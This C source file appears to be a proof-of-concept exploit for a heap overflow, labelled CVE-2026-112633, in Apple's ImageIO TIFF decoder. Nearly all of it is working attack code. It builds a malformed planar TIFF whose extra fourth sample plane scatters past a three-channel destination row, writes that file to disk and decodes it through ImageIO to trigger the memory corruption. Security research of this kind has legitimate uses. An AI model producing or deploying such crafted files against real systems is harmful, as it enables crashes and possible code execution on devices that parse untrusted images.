// iio.tiff.planar · ImageIO · decodeStripPlanar · CVE-2026-112633 // Planar configuration scatter past the destination row // C twin of the Swift POC: builds the 4-plane/3-channel TIFF and decodes it through ImageIO. // Variant iio.pdf.raster (oversized MediaBox rasterization) is noted in the Swift POC. // Build: clang -O2 -o cve-2026-112633 CVE-2026-112633.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation // Run: ./cve-2026-112633 [spp] #include #include #include // ── byte buffer ── typedef struct { uint8_t *d; size_t n, cap; } buf; static void bneed(buf *b, size_t extra) { if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } } static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; } static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); } static void le32(buf *b, uint32_t v) { bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff); } // ── seed construction (from Cinder27 Sources: TIFFPayload.planarScatter) ── // Photometric=RGB gives a 3-channel destination row; SamplesPerPixel=4 with // PlanarConfiguration=2 makes the 4th plane scatter past it. static buf tiff_planar_scatter(int width, int height, int spp, uint16_t photometric) { size_t strip_bytes = (size_t)width * height; // deterministic layout: IFD at 8, BitsPerSample blob, StripOffsets blob, plane data size_t ifd_size = 2 + 10 * 12 + 4; size_t extra_offset = 8 + ifd_size; if (extra_offset % 2) extra_offset++; size_t bits_offset = extra_offset; size_t offsets_blob_offset = bits_offset + (size_t)spp * 2; size_t strip_base = offsets_blob_offset + (size_t)spp * 4; uint8_t bits[8] = {0}; // up to 4 planes × le16(8) for (int i = 0; i < spp && i < 4; i++) { bits[i * 2] = 8; bits[i * 2 + 1] = 0; } uint8_t strip_offsets[16] = {0}; // up to 4 × le32 for (int i = 0; i < spp && i < 4; i++) { uint32_t v = (uint32_t)(strip_base + (size_t)i * strip_bytes); strip_offsets[i * 4] = v & 0xff; strip_offsets[i * 4 + 1] = (v >> 8) & 0xff; strip_offsets[i * 4 + 2] = (v >> 16) & 0xff; strip_offsets[i * 4 + 3] = (v >> 24) & 0xff; } uint8_t counts[16] = {0}; // up to 4 × le32 strip byte counts for (int i = 0; i < spp && i < 4; i++) { uint32_t v = (uint32_t)strip_bytes; counts[i * 4] = v & 0xff; counts[i * 4 + 1] = (v >> 8) & 0xff; counts[i * 4 + 2] = (v >> 16) & 0xff; counts[i * 4 + 3] = (v >> 24) & 0xff; } uint8_t v256[4] = {(uint8_t)width, (uint8_t)(width >> 8), (uint8_t)(width >> 16), (uint8_t)(width >> 24)}; uint8_t v257[4] = {(uint8_t)height, (uint8_t)(height >> 8), (uint8_t)(height >> 16), (uint8_t)(height >> 24)}; uint8_t v258c[4] = {0}; // placeholder for the 2-byte tag 258 inline field uint8_t v259[2] = {1, 0}; // compression none uint8_t v262[2] = {(uint8_t)photometric, (uint8_t)(photometric >> 8)}; uint8_t v273c[4] = {0}; // placeholder — real value is the blob offset uint8_t v277[2] = {(uint8_t)spp, (uint8_t)(spp >> 8)}; uint8_t v278[4] = {(uint8_t)height, (uint8_t)(height >> 8), (uint8_t)(height >> 16), (uint8_t)(height >> 24)}; uint8_t v284[2] = {2, 0}; // PlanarConfiguration = 2 (planar) // tag-sorted IFD entries; the two >4-byte values are carried by blobs // tag 258 (BitsPerSample, count=spp) — blob at bits_offset // tag 273 (StripOffsets, count=spp) — blob at offsets_blob_offset // tag 279 (StripByteCounts, count=spp) — blob, appended after 273 buf out = {0}; bcat(&out, "II\x2a\x00", 4); le32(&out, 8); le16(&out, 10); struct { uint16_t tag, type; uint32_t count; uint32_t val; } e[10] = { {256, 4, 1, 0}, {257, 4, 1, 0}, {258, 3, (uint32_t)spp, (uint32_t)bits_offset}, {259, 3, 1, 0}, {262, 3, 1, 0}, {273, 4, (uint32_t)spp, (uint32_t)offsets_blob_offset}, {277, 3, 1, 0}, {278, 4, 1, 0}, {279, 4, (uint32_t)spp, (uint32_t)(offsets_blob_offset + (size_t)spp * 4)}, {284, 3, 1, 0}, }; // inline values for the scalar entries uint32_t scalars[10] = {0}; memcpy(&scalars[0], v256, 4); memcpy(&scalars[1], v257, 4); // 258: blob memcpy(&scalars[3], v259, 2); // zero-padded inline memcpy(&scalars[4], v262, 2); // 273: blob memcpy(&scalars[6], v277, 2); memcpy(&scalars[7], v278, 4); // 279: blob memcpy(&scalars[9], v284, 2); (void)v258c; (void)v273c; for (int i = 0; i < 10; i++) { le16(&out, e[i].tag); le16(&out, e[i].type); le32(&out, e[i].count); if (e[i].tag == 258 || e[i].tag == 273 || e[i].tag == 279) { le32(&out, e[i].val); // blob offset } else { le32(&out, scalars[i]); } } le32(&out, 0); // next IFD if (out.n < extra_offset) brep(&out, 0, extra_offset - out.n); bcat(&out, bits, (size_t)spp * 2); // 258 blob bcat(&out, strip_offsets, (size_t)spp * 4); // 273 blob bcat(&out, counts, (size_t)spp * 4); // 279 blob if (out.n < strip_base) brep(&out, 0, strip_base - out.n); for (int plane = 0; plane < spp; plane++) { brep(&out, (uint8_t)(0x40 + plane * 0x20), strip_bytes); } return out; } // ── trigger: decode through ImageIO ── #include #include #include static int decode_image(const buf *img, const char **detail) { CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n); if (!cf) { *detail = "CFDataCreate failed"; return -1; } CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL); CFRelease(cf); if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; } size_t frames = CGImageSourceGetCount(src); CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL); static char r[256]; if (cg) { snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)", (size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames); CGImageRelease(cg); } else { snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames); } CFRelease(src); *detail = r; return cg ? 0 : -1; } int main(int argc, char **argv) { int width = 64, height = 64; int spp = argc > 1 ? atoi(argv[1]) : 4; if (spp < 1) spp = 1; if (spp > 4) spp = 4; buf tiff = tiff_planar_scatter(width, height, spp, 2); FILE *f = fopen("planar_scatter.tif", "wb"); if (f) { fwrite(tiff.d, 1, tiff.n, f); fclose(f); } const char *detail = NULL; int rc = decode_image(&tiff, &detail); printf("CVE-2026-112633 · %dx%d RGB destination, %d planes (planar) · %s\n", width, height, spp, detail ? detail : "?"); printf("seed: planar_scatter.tif (%zu B) · exit code %d\n", tiff.n, rc); bfree(&tiff); return rc == 0 ? 0 : 1; }